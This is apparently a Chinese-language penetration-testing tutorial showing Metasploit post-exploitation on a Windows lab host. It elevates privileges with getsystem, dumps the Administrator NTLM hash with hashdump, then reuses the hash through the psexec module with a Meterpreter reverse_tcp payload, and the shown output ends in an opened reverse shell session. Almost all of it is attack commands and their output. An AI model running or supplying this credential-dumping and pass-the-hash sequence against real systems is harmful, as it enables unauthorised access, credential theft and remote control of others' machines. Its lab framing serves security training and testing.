获取管理员hash
获得shell后，执行命令
代码语言：javascript复制getsystem提高权限为管理员权限，接着执行命令
代码语言：javascript复制run post/windows/gather/hashdump获取hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e:::
权限维持
执行命令
代码语言：javascript复制use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.232.129
set LPORT 443
set RHOST 192.168.232.204
set SMBUser Administrator
show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.232.204 yes The target address
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser Administrator no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.232.129 yes The listen address (an interface may be specified)
LPORT 443 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e
SMBPass => aad3b435b51404eeaad3b435b51404ee:bd75068c6729aacd2fe3497b43bb664e
msf exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.232.129:443
[*] 192.168.232.204:445 - Connecting to the server...
[*] 192.168.232.204:445 - Authenticating to 192.168.232.204:445 as user 'Administrator'...
[*] 192.168.232.204:445 - Selecting PowerShell target
[*] 192.168.232.204:445 - Executing the payload...
[ ] 192.168.232.204:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.232.204
[*] Meterpreter session 1 opened (192.168.232.129:443 -> 192.168.232.204:5231) at 2018-07-03 19:26:26 0800
meterpreter > 成功得到反弹
版权属于：逍遥子大表哥
本文链接：https://cloud.tencent.com/developer/article/1920572
按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
